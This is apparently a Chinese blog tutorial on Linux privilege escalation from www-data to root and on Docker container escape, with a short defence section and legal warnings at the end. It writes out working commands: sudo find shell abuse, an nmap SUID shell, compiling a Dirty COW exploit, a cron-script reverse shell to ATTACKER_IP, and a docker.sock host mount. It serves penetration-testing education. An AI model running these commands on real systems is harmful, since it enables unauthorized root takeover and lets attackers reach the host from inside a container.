【后渗透-Linux篇】Linux 提权与逃逸:从 www-data到 root的蜕变

💡 导读 :拿到 Webshell 只是拿到了"访客权限"。在 Linux 系统中,www-data或 apache用户几乎什么都干不了------看不到关键信息,改不了系统配置,也没法横向移动。本期我们将学习如何把"访客"变成"主人"(root),这是渗透测试中最激动人心的时刻。


一、 为什么要提权?(权限的边界)

1. 信息收集的需要

  • 普通用户:只能看到自己的文件。

  • Root 用户 :可以读取 /etc/shadow(密码哈希)、全量日志、所有用户的操作记录。

2. 横向移动的跳板

  • 很多内网穿透工具、扫描工具需要 Root 权限才能开启 raw socket 或进行 ARP 欺骗。

3. 权限维持

  • Root 权限意味着你可以修改内核模块、植入开机自启脚本,即使系统重启也能连回来。

二、 提权三板斧:信息收集

"打信息收集就是打一半的仗。" 拿到 Shell 后,第一件事不是乱跑 Exp(漏洞利用程序),而是收集系统情报。

1. 系统指纹
bash 复制代码
# 查看内核版本(最关键,用来找对应 Exp)
uname -a
# 查看发行版
cat /etc/*release
  • 实战意义 :如果内核是 Ubuntu 16.04且内核版本较低,大概率可以用 Dirty COW​ 提权。
2. 当前权限与环境
bash 复制代码
# 我是谁?
whoami
# 我在哪?
pwd
# 有哪些 sudo 权限?(这是最轻松的提权方式)
sudo -l
3. 查找敏感文件
bash 复制代码
# 查找带有 SUID 位的文件(提权黄金点)
find / -perm -4000 2>/dev/null
# 查找配置文件(可能藏密码)
find / -name "config*" -o -name "*.conf" 2>/dev/null

三、 实战演练:四种经典提权手法

1. Sudo 滥用(最简单)

场景 :sudo -l显示 (ALL) NOPASSWD: /usr/bin/find。

利用:

bash 复制代码
sudo find /etc/passwd -exec /bin/sh \;
  • 原理 :find命令拥有 root 权限,并且允许执行外部命令。
2. SUID 提权(最常见)

场景 :find / -perm -4000发现 /usr/bin/nmap有 SUID 位。

利用(适用于旧版 Nmap):

bash 复制代码
nmap --interactive
nmap> !sh
  • 结果:直接弹回一个 root shell。
3. 内核漏洞提权(核武器)

场景 :uname -a显示内核 Linux 4.4.0-21-generic。

操作:

  1. 在 Exploit-DB搜索对应版本的提权 Exp。

  2. 下载 40839.c。

  3. 编译执行:

    bash 复制代码
    gcc 40839.c -o dirty
    ./dirty
  4. 结果:获得 root 权限。

4. Cron Job(计划任务)提权

场景 :发现 /etc/crontab中有这么一行:

bash 复制代码
* * * * * root /home/user/clean.sh

利用:

bash 复制代码
echo "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /home/user/clean.sh
chmod +x /home/user/clean.sh
  • 原理 :等待一分钟,系统以 root 身份执行 clean.sh,从而反弹 root shell 给攻击者。

四、 2026 年新趋势:容器逃逸(Container Escape)

现在的 Web 服务大多跑在 Docker 容器里。即使你拿到了 root,也只是容器的"假 root"。

1. 判断是否在容器内
bash 复制代码
# 检查 /.dockerenv 文件
ls -la /.dockerenv
# 查看进程数(容器内通常很少)
ps aux
2. 逃逸手法:Docker Socket 挂载

场景 :容器内部存在 /var/run/docker.sock。

利用:

bash 复制代码
# 在容器内执行,启动一个新容器,并将宿主机根目录挂载进去
docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash
  • 结果:你现在已经是宿主机的 root 了。

五、 防御视角:如何修复?

  1. 及时打补丁:内核漏洞只能通过升级内核修复。

  2. 去除 SUID :移除不必要程序的 SUID 位(chmod u-s /usr/bin/find)。

  3. 配置 Sudoers:禁止普通用户以 root 运行危险命令。

  4. 容器安全 :绝对不要 将 /var/run/docker.sock挂载进容器。


⚠️ 安全警示与法律红线

🚨 极度危险的警告:

  1. 严禁内核提权测试 :在真实业务服务器上运行内核 Exp(如 Dirty COW)极有可能导致系统崩溃(Kernel Panic),造成业务中断。

  2. 严禁修改系统文件 :在未授权情况下,严禁修改 /etc/passwd、/etc/shadow或计划任务。

  3. 靶场练习 :请在 VulnHub (Lin.Security, Kioptrix) ​ 或 **TryHackMe (Linux PrivEsc)**​ 等合法靶场中练习。

提权是系统层面的搏斗。一旦失误,满盘皆输。请在隔离环境中磨练你的刀锋。


💬 互动环节

  • 你在提权时遇到过最尴尬的事是什么?(比如 Exp 编译失败?)

  • 你觉得 SUID 提权和内核提权哪个更实用?

  • 欢迎在评论区留言讨论!

👉 下一期预告:【后渗透-Windows篇】Windows 域渗透 ------ 从本地管理员到域控(DC)的跨越。

相关推荐
无奈笑天下20 小时前
银河麒麟上nproc命令教程详解
linux·运维·服务器
Rabitebla1 天前
【Linux】进程控制(十二) 自定义 Shell(二):内建命令与进程工作目录管理
linux·c++·笔记·学习·bash
火云代理1 天前
更换网络后为什么会退出登录?分清 IP、Cookie 与会话的关系
服务器·网络·网络协议·tcp/ip·php·ip
威嵌神州1 天前
嵌入式排故实录:高并发下串口数据“超时丢包”的根因剖析与架构优化
运维·服务器·嵌入式硬件·缓存
Decay__1 天前
SQLServer 索引与 SQL 优化 —— 聚集索引、非聚集索引、覆盖索引、碎片维护与执行计划
运维·数据库·sql·mysql·架构
java_logo1 天前
Docker 部署 DeepSeek Harness(moelin):轻松搭建带登录的本地 AI Agent 平台
运维·docker·容器·ai agent·deepseek·harness·轩辕镜像
火云代理1 天前
同一个网站,有的网络能打开、有的打不开?认识 IPv4 与 IPv6 的访问差异
服务器·网络·网络协议·tcp/ip·测试工具·php·状态模式
坤坤子吖1 天前
Linux网络编程:TCP 粘包与半包问题,如何正确处理 TCP 流式数据?
linux·服务器·网络·笔记·网络协议·学习
AI_Gump1 天前
Harness篇|DeepSeek Harness 上手机:五条安卓移植路线与 App 内 Linux 拆解
android·linux·人工智能·智能手机·deepseek
星恒随风1 天前
MySQL 从零入门(六):复合查询详解——多表查询、自连接、子查询与 UNION
linux·服务器·数据库·mysql